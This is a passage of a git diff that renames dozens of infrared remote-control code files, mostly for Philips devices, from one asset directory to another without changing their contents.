assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir 